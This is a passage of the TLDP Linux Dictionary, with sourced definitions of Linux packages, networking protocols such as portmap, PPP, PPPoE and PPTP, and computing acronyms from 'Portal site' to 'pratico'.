Usually used as a marketing term to described a Web site that is or is intended to be the first place people see when using the Web. Typically a "Portal site" has a catalog of web sites, a search engine, or both. A Portal site may also offer email and other service to entice people to use that site as their main "point of entry" (hence "portal") to the Web. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

portmap

DARPA port to RPC program number mapper From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

portmap

The portmapper program is a security tool that prevents theft of NIS(YP), NFS, and other sensitive information via the portmapper. A portmapper manages RPC connections, which are used by protocols like NFS and NIS. The portmap package should be installed on any machine which acts as a server for protocols using RPC. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

portmap

The RPC portmapper Portmap is a server that converts RPC (Remote Procedure Call) program numbers into DARPA protocol port numbers. It must be running in order to make RPC calls. Services that use RPC include NFS and NIS. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

portmapper (rpcbind, portmap)

In the UNIX RPC protocol suite, portmapper is responsible for locating which port number a particular RPC-based service is using. RPC programs are assigned a well-known "RPC program number" rather than well-known ports. In the RPC suite, the only program that is assigned a "well-known" port is the portmapper service at port 111. All the rest obtain a randomly assigned port number when they start up, then tell portmapper which port they are using. For example, the rpc.mountd RPC program is assigned the well-known program number of 100005. When it starts up, it might obtain the port number like 635. It then registers with the local portmapper (on the same machine) and gives it the [100005,635] combination. When a client program wishes to contact rpc.mountd, it first contacts portmapper and asks "where is program 100005?". Portmapper replies with the current port, at which point the client program proceeds to talk with rpc.mountd on the correct port. Key point: In theory, you must have access to port 111 on the target machine in order to reach any RPC service. Therefore, some firewall administrators block access to port 111 on the mistaken belief that this will protect them. This belief is wrong because while it prevents an intruder from easily finding the target RPC services, they can still hunt for them. Using nmap, an intruder can first do a port scan to find open ports, then use the "NULL proc grinding" feature of nmap to figure out which RPC is listening on that port. Also, sometimes Sun puts another portmapper at a high port (like 32773) From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

portslave

Terminal server that does PPP and authenticates via RADIUS This package provides a program named portslave which will use AT commands to answer a modem when it rings. It will then display a login: prompt at which the user can enter a user-name and password. If the user sends PPP data then portslave will run it's own pppd instead and authenticate the user via PAP. When the user-name and password are received they will be verified via a RADIUS server. At the end of the call the accounting data will be written to the RADIUS server. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Portugal From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POS

Piece of S*** From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POS

Primary Operating System (OS, RCA Spectra 70) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POS

Professional Operating System (OS, DEC), "P/OS" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POS

Programmable Object Select From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POSE

Palm Operating System Emulator (Palm) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pose

PalmOS Emulator An emulator for Palm Computing organizers. Requires a ROM file, which can be transferred from a physical Palm device, or downloaded from Palm's website (if you sign a license

agreement). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POSI

Promoting conference for OSI (Japan, org., conference) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POSIX

Portable Operating System for unIX (OS, IEEE 1003, ISO 9945, PASC, Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POSIX

Portable Operating System Interface: a suite of applications program interface standards to provide for the portability of source code applications where operating systems services are required. POSIX is based on the UNIX (tm adminstrated by X/Open) Operating System, and is the basis for the X/Open specifications of The Open Group. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POSIX (Portable Operating System Interface for UNIX)

A set of programming interface standards governing how to write application source code so that the applications are portable between operating systems. POSIX is based on UNIX and is the basis for the X/Open specification of The Open Group. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POST

Power-On Self-Test From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POST (Power-On Self-Test)

Internal testing performed when you start or reset your computer. Encoded in read-only memory (ROM) the POST program first checks the microprocessor by having it perform a few simple operations. Then it reads the CMOS ROM, which stores the amount of memory and type of disk drives in your system. Next, the POST writes, then reads, various data patterns to each byte of memory (you can watch the bytes count off on-screen and often end the test with a keystroke); Finally, the POST communicates with every device; you see the keyboard and drive lights flash and the printer resets, for example. The BIOS continues with hardware testing, then looks in drive A for an operating system if drive A isn't found, it looks in drive C. See basic input/output system (BIOS) and boot sector. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

post office protocol (POP)

Network protocol used to retrieve email from a mail server. Clients that connect to a POP mail server must download and store all of their incoming email messages on the local system. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

post-el

emacs major mode for editing mail This is an emacs major mode for use in conjunction with mutt, the spiffy *nix mailreader du jour (see <http://www.mutt.org/>), or slrn, the spiffy *nix newsreader du jour (see <http://slrn.sourceforge.net/>), or any other mailreader or newsreader that supports an external editor. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

post-faq

Post periodic FAQs to Usenet newsgroups. The purpose of this package is to handle the posting of periodic informational postings to the USENET using cron. For this it adds appropriate Message-ID, Expires, Supersedes, and References headers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

post-mortem

In information security terms, a method of data analysis and investigation performed after an intrusion has already occurred. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postaci

Web Based Protocol Independent(IMAP, POP3) Mail Program Postaci can handle both protool and the defaul protocol can be changed from a single configuration file. Postaci is platform independent. It

can work on any operating system which PHP supports. Postaci is also database independent. It can handle with MySQL, mSQL, Microsoft SQL, Sybase, PostgreSQL. It uses very complicated database operations for handling with POP3 folder simulation. Postaci is Turkish word for Postman. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postal

SMTP benchmark – the mad postman. This program starts a specified number of processes to send as much random data to random accounts as possible. Adds the X-Postal header to email it sends, so if someone uses it unethically then it will be easy to filter via procmail. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

poster

make big posters out of PostScript pages Poster takes a one-page PostScript file and scales it to a specified size. It can tile the resulting image into multiple smaller pages that can be pasted together to form the big poster. Poster prefers EPS as its input although freer forms of PostScript are also understood. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postfix

A high-performance mail transport agent Postfix is Wietse Venema's mail transport agent that started life as an alternative to the widely-used Sendmail program. Postfix attempts to be fast, easy to administer, and secure, while at the same time being sendmail compatible enough to not upset existing users. Thus, the outside has a sendmail-ish flavor, but the inside is completely different. This package does not have SASL support. For SASL support, install postfix-tls. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postfix

Postfix is a Mail Transport Agent (MTA), supporting LDAP, SMTP AUTH (SASL), TLS and running in a chroot environment. Postfix is Wietse Venema's mailer that started life as an alternative to the widely-used Sendmail program. Postfix attempts to be fast, easy to administer, and secure, while at the same time being sendmail compatible enough to not upset existing users. Thus, the outside has a sendmail-ish flavor, but the inside is completely different. This software was formerly known as VMailer. It was released by the end of 1998 as the IBM Secure Mailer. From then on it has lived on as Postfix. This rpm supports LDAP, SMTP AUTH (through cyrus-sasl) and TLS. If you need MySQL too, rebuild the srpm --with mysql. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PostgreSQL

A free SQL server run under the BSD license. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postgresql

Object-relational SQL database, descended from POSTGRES. PostgreSQL is an object-relational database, which supports a large part of SQL-92. It is under continuous development and each release implements more of the SQL standard, to the extent that it is now probably more compliant than many commercial databases. It also supports some object-oriented features. As compared to MySQL, PostgreSQL is more fully featured – most importantly, PostgreSQL supports transactions on all tables, something which is essential to multi-user update of a database and referential integrity, which, equally, is essential to a reliable database. The trade-off is that it can be slower, though again, each release sees improvements in efficiency. For more information, see <<http://OpenACS.org/why-not-mysql.html>>. This package provides the backend features; you need postgresql-client or some other front-end to be able to access them. A package providing ident-server is needed if you want to authenticate remote connections with identd. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postgresql

PostgreSQL is an advanced Object-Relational database management system (DBMS) that supports almost all SQL constructs (including transactions, subselects and user-defined types and functions). The postgresql package includes the client programs and libraries that you'll need to access a

PostgreSQL DBMS server. These PostgreSQLclient programs are programs that directly manipulate the internal structure of PostgreSQL databases on a PostgreSQL server. These client programs can be located on the same machine with the PostgreSQL server, or may be on a remote machine which accesses a PostgreSQLserver over a network connection. This package contains the client libraries for C and C++, as well as command-line utilities for managing PostgreSQL databases on a PostgreSQL server. If you want to manipulate a PostgreSQL database on a remote PostgreSQL server, you need this package. You also need to install this package if you're installing the postgresql-server package. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postilion

An X Mail User Agent which handles MIME, PGP and Spelling. It is mainly written in C but the user interface is done in tcl/tk. The following is a non exhaustive list of the capabilities: * Multilingual Interface * MIME Support * Composing * Multiple Address Books * Message Database * Virtual Folders * Message Hold * Watcher * Spell Checking "As One Types" * POP3 and IMAP Folders * Supports Delivery Status Notifications * Supports PGP/MIME From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Posting

A single message entered into a network communications system. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postit

A program sending news Sending news from your local inn newsserver to another host From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postmark

File system benchmark from NetApp. Benchmark that's based around small file operations similar to those used on large mail servers and news servers. Has been ported to NT so should be good for comparing OSs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postmaster

n. The email contact and maintenance person at a site connected to the Internet or UUCPNET. Often, but not always, the same as the admin. The Internet standard for electronic mail (RFC-822) requires each machine to have a `postmaster' address; usually it is aliased to this person. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

postnews

Post Usenet articles via NNTP from the command line Postnews is a small command line utility written in Python that posts Usenet articles onto remote servers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PostScript

A page description language developed by Adobe Systems that tells a printer how to display text or graphics on a printed page. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PostScript

A Page Description Language that gets its leverage by using a full programming language, rather than a series of low-level escape sequences, to describe an image to be printed on a laser printer or other output device (in this it parallels EMACS, which exploited a similar insight about editing tasks). It is also noteworthy for implementing on-the fly rasterization, from Bezier curve descriptions, of high-quality fonts at low (e.g. 300 dpi) resolution. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PostScript

A sophisticated page description language (PDL) that's used for high-quality printing on laser printers and other high-resolution printing devices. Though Postscript is a programming language and you can learn to write page descriptions in it, Postscript is usually invisible and automatic. Programs generate Postscript code that goes to the printer, where a Postscript interpreter follows the coded instructions to generate an image of the page precisely according to there instructions. A major benefit

of Postscript is its device independence; you can print the Postscript code generated by an application on any printer with a Postscript interpreter. You can take Postscript files generated on your PC to a service bureaus which can print the document using expensive typesetting machines with resolutions of up to 2,400 dots per inch (dpi). See Postscript font, and Postscript printer. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PostScript

n. A Page Description Language (PDL), based on work originally done by John Gaffney at Evans and Sutherland in 1976, evolving through 'JaM' ('John and Martin', Martin Newell) at XEROX PARC, and finally implemented in its current form by John Warnock et al. after he and Chuck Geschke founded Adobe Systems Incorporated in 1982. PostScript gets its leverage by using a full programming language, rather than a series of low-level escape sequences, to describe an image to be printed on a laser printer or other output device (in this it parallels EMACS, which exploited a similar insight about editing tasks). It is also noteworthy for implementing on-the fly rasterization, from Bezier curve descriptions, of high-quality fonts at low (e.g. 300 dpi) resolution (it was formerly believed that hand-tuned bitmap fonts were required for this task). Hackers consider PostScript to be among the most elegant hacks of all time, and the combination of technical merits and widespread availability has made PostScript the language of choice for graphical output. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PostScript (PS)

A standardized document rendering computer language that treats document text, images, and borders as objects. Most printers can output PS documents, and most desktop publishing applications can render PS files. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PostScript Fonts

A wide variety of fonts that can be used with OS/2, MS Windows and the X Window System. Font files include those with .afm, .pfa and .pfb extensions. Sometimes called Adobe Type 1 fonts, or ATM (Adobe Type Manager) fonts. PostScript fonts typically require a PostScript-compatible printer. (Also, see BDF Fonts and TrueType Fonts.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POSYBL

PrOgramming SYstem for distriButed appLications From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

potool

A program to aid manipulation of gettext po files This package contains the filter program 'potool', as well as a few helper scripts: poedit - helps editing of po files in your favourite editor postats, postats1 - prints statistics of how much of a file is translated From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POTS

Plain Old Telephone System (slang, Usenet, IRC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POV

Persistence of Vision (raytracing) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

POWER

Power Optimization With Enhanced RISC [chip] (IBM, Apple, Motorola) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

power-applet

GNOME battery monitor applet GNOME panel applet to read /proc/apm. It has theming (evil) and does nifty stuff like animations when low on power (because when you're low on power, you want to waste cpu cycles on animation). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

powermanga

A vertical shoot 'em up for X11 with colourful 3D graphics. Powermanga is a shoot 'em up with 60 different enemies, 40 meteors, numerous weapons, many end of level baddies, spaceship power-ups and lots of other surprises. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

poweroff

stop the system. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

powershell

powerful terminal emulator for GNOME PowerShell is a GNOME/GTK+ based terminal emulator which supports many terminals in a single window (limited only by available RAM). Each terminal is given a "notebook" tab which makes switching between terminals easy. It also has URL recognition capabilities and things like transparency, pixmap backgrounds, etc. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

powertweak

Tool to tune system for optimal performance Powertweak is a tool for tweaking Linux systems to peak performance. It tunes PCI devices to use optimal settings and enables performance enhancing features of the CPU(s). This package contains no files. It does only ensure that you install the following packages: powertweaked, powertweak-extra, powertweak-text, powertweak-gtk From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

powertweaked

Tool to tune system for optimal performance Powertweak is a tool for tweaking Linux systems to peak performance. It tunes PCI devices to use optimal settings and enables performance enhancing features of the CPU(s). To use all of powertweak's features you need to be running a Linux kernel which supports the /proc/bus/pci and /dev/cpu/<n> interfaces. This package contains the daemon that needs to be run to do the actual tuning. You need either powertweak-text or powertweak-gtk to choose which tweaks you want to perform on your system in addition to this package. The package powertweak-extra contains some additional tweaking plugins. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

powstatd

Configurable UPS monitoring daemon Assuming you have a relay-based "dumb" UPS that corresponds with your machine via a serial connection, you should be able to configure powstatd in just a few minutes. It is easily configured, and can be expected to support most "dumb" UPS supplies. UPS models known to work: CyberPower PowerSL series CyberPower Power2000 1500VA CyberPower Power99 325VA, 400VA, 500VA and 720VA Some older CyberPower 385VA and 450VA models TrippLite Internet Office 500 UPS Various older APC units. Powstatd can also be configured to allow a master machine to control (Via a network connection) up to 2 (by default) additional slave machines connected to the same UPS. This allows you to run several machines off the same UPS, with only one of the machines actually reading the UPS status over the serial line. See also powstatd-crypt in the non-us section. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

powstatd-crypt

Configurable UPS monitoring daemon Assuming you have a relay-based "dumb" UPS that corresponds with your machine via a serial connection, you should be able to configure powstatd in just a few minutes. It is easily configured, and can be expected to support most "dumb" UPS supplies. UPS models known to work: CyberPower PowerSL series CyberPower Power2000 1500VA CyberPower Power99 325VA, 400VA, 500VA and 720VA Some older CyberPower 385VA and 450VA models TrippLite Internet Office 500 UPS Various older APC units. Powstatd can also be configured to allow a master machine to control (Via a network connection) up to 2 (by default) additional slave machines connected to the same UPS. This allows you to run several machines off the same UPS, with only one of the machines actually reading the UPS status over the serial line. This version of powstatd uses secure cryptography to communicate between master and slave(s). See the

powstatd package for a version that does not encrypt communications. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

poxml

tools for using PO-files to translate DocBook XML files This is a collection of tools that facilitate translating DocBook XML files using gettext message files (PO-files). Also included are some miscellaneous command-line utilities for manipulating DocBook XML files and PO-files. This package is part of the KDE Software Development Kit. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PP

Physical Partition (LVM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPC

Program to Program Communication (Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPD

Postscript Printer Description specification. Adobe's spec of a standard virtual printer. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ppdfilt

filter that inserts printer specific commands into print jobs ppdfilt is a filter program designed to be used within a filter script or from the command line tool to insert printer specific commands to a PostScript print job. This can be used to tell the printer to duplex or staple the print job, or tell it what paper tray to draw paper from. In the GNUlpr printing environment, users do not call ppdfilt directly, but its features are accessed by using 'lpr' or 'gpr' (see) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPDS

Personal Printer Data Stream From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPDU

Presentation Protocol Data Unit (PDU, OSI, ISO 8823, OSI/RM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPE

Packet Processing Engine (Hub) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPGA

Plastic Pin Grid Array (CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPI

Parallel Port Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPI

Pixels Per Inch From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPI

Programmable Peripheral Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPID

Linux Dictionary

Parent Process IDentification number (Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPID

The process ID of the shell's parent. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPID

the processes Parent PID, the creator of the process. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPL

PPM

Pulse Position Modulation (MMVF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPMI

PCI bus Power Management Interface (PCI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPMS

Professional Productivity Management System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ppmtofb

Display netpbm graphics on Linux framebuffer devices The ppmtofb package supports displaying netpbm-format graphics (PBM, PGM and PPM) on Linux systems with framebuffer devices (available with 2.1 kernels on all platforms and 2.0 kernels on m68k). With the included fbview program, you can display virtually any picture format on any framebuffer. ppmtofb supports virtually all framebuffer devices, including vesafb and the VGA16 framebuffer for PCs. On Amigas it can take advantage of the Hold and Modify (HAM) modes for virtual truecolor display on both standard and AGA systems. Home Page: <http://www.lordsutch.com/chris/ppmtofb.html> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPN

Project Programmer Number From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPN

Public Packet Switching From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPOP

Plain Paper Optimized Printing (Canon), "P-POP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP

An acronym for Point-to-Point-Protocol, an advanced serial packet protocol similar to SLIP. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP

Point-to-Point Protocol (Internet, PPP, RFC 1171/1661) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP

Point-to-Point Protocol (PPP) daemon. The Point-to-Point Protocol (PPP) provides a standard way to transmit datagrams over a serial link, as well as a standard way for the machines at either end of the

link (the "peers") to negotiate various optional characteristics of the link. Using PPP, a serial link can be used to transmit Internet Protocol (IP) datagrams, allowing TCP/IP connections between the peers. This package contains pppd with PAM support built-in, so `ppp-pam` package is obsolete. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP

see point-to-point protocol (PPP). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ppp

The ppp package contains the PPP (Point-to-Point Protocol) daemon and documentation for PPP support. The PPP protocol provides a method for transmitting datagrams over serial point-to-point links. PPP is usually used to dial in to an ISP (Internet Service Provider) or other organization over a modem and phone line. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP (Point of Presence)

Actual site of an ISP or other service. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP (Point to Point Protocol)

One of the two standards for directly connecting computers to the Internet via dialup telephone connections (the other is SLIP). Unlike the older SLIP protocol, PPP incorporates superior data negotiation, compression, and error correction. However, these features add overhead to data and transmission, and are unnecessary when both the sending and receiving modems offer hardware error correction and on-the-fly data compression. See Serial Linux Internet Protocol (SLIP). From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP (Point to Point Protocol)

The most common protocol used to connect home computers to the Internet over regular phone lines. Most well known as a protocol that allows a computer to use a regular telephone line and a modem to make TCP/IP connections and thus be really and truly on the Internet. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP (Point to Point Protocol)

The standard protocol for connection via a modem to an ISP. The term "point-to-point" is used to contrast this technology with preceding techniques that were based upon "multi-point" communication. For example, the popular Ethernet technology is used to connect many computers together in a single local network. Key point: Sniffing PPP dial-up connections is very hard and is virtually never done. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPP (Point to Point Protocol)

This provides fairly high speed direct Internet connectivity using a modem. Unlike earlier modem connection methods (which many people still use) PPP is not limited by the software that exists on the host computer. With PPP, all client software (such as Netscape) runs on the local computer. From Faculty-of-Education <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppconfig

A text menu based utility for configuring ppp. It provides extensive explanations at each step. pppconfig supports PAP, CHAP, and chat methods of authentication. It uses the standard ppp configuration files and sets ppp up so that the standard pon and poff commands can be used to control ppp. Some features supported by pppconfig are: - Multiple ISPs with separate nameservers. - Modem detection. - Dynamic DNS. - Dial on demand. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppconfig

configure pppd From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppd

Point to Point Protocol daemon From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPPD

Point-to-Point Protocol Deamon (PPP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppdcaplugin

plugin for pppd to communicate with CAPI-capable ISDN cards Some ISDN cards (notably the AVM passive cards, when a module from the AVM website is loaded) can be used by CAPI utilities.

This is a plugin for the regular PPP daemon to use CAPI on such cards. See /usr/share/doc/pppdcaplugin/* for some (rudimentary) info. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppdump

convert PPP record file to readable format From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPPoE

A technique for the encapsulation of PPP streams inside of Ethernet frames. This technology is being deployed by high-speed Internet access providers (cable modems, xDSL, etc.) in order to decouple the supply of bandwidth from ISP services. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPPOE

Point-to-Point Protocol Over Ethernet [protocol] (ADSL, RFC 2516), "PPPoE" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppoe

PPP over Ethernet driver PPP over Ethernet (PPPoE) is a protocol used by many ADSL Internet service providers. This package allows you to connect to those PPPoE service providers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppoe

user-space PPPoE client. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppoe-relay

user-space PPPoE relay agent. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppoe-server

user-space PPPoE server From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppoe-sniff

examine network for non-standard PPPoE frames From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppoeconf

configures a PPPoE (ADSL) connection From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppoeconf

configures PPPoE/ADSL Userfriendly tool for initial configuration of a DSL (PPPoE) connection.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppstats

print PPP statistics From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pppstatus

console-based PPP status monitor PPPstatus is a console-based utility for displaying the status of a PPP link, including connection verification, connecting time, costs calculation, top speed, e-mail check, ip address, graphical statistics, TX and RX leds, interface selection, and more. It even supports xDSL with pppoe. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PPS

- PPS** Packets Per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

- PPSU** Personal Printer Spooling Utility From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- ppthtml**
A program for converting Microsoft Power Point Files .ppt The ppthtml program will take a PowerPoint 97/95 file as input and convert it to html. The output is via standard out so it can be re-directed to files or piped to filters or used as a gateway to the internet. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PPTP** Point-to-Point Tunneling Protocol (MS, Ascend, IP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PPTP** Point-to-Point Tunneling Protocol - a networking technology that allows the use of the Internet as a secure virtual private network (VPN). From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pptp-linux**
Point-to-Point Tunneling Protocol (PPTP) Client Client for the proprietary Microsoft Point-to-Point Tunneling Protocol, PPTP. Allows connection to a PPTP based VPN as used by employers and some cable and ADSL service providers. Requires MPPE support in kernel, use package kernel-patch-mppe. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- pptpd**
PoPToP Point to Point Tunneling Server This implements a Virtual Private Networking Server (VPN) that is compatible with Microsoft VPN clients. It allows windows users to connect to an internal firewalled network using their dialup. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- PPU** Peripheral Processing Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- ppxp**
Yet another PPP program. PPxP is user process ppp program with Kernel/User netlink driver. PPxP provides easy setup, easy to connection(qdial), on demand dial up, IP Masquerade(experimental), IP Filtering, DNS relay, and more features. Of course, can work as ppp server. This package included standard CUI console. If use on 2.0.x kernel, need userlink kernel external driver. (see /usr/share/doc/ppxp/README.Debian) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- ppxp-applet**
PPxP GNOME panel applet console PPxP GNOME panel applet console. PPxP is yet another ppp program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- ppxp-tcltk**

tk console of ppxp tk console of ppxp From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ppxp-x11

X console of ppxp X console of ppxp From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PQET

Print Quality Enhancement Technology (Lexmark) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PQFP

Plastic Quad Flat Package (CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pr

convert text files for printing From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PR

Packet Radio From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PR

Pattern Recognition From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRACSA

Public Remote-Access Computer Standards Association (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PRAM

Parameter Random Access Memory (RAM, IC, Apple), "P-RAM" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pratico

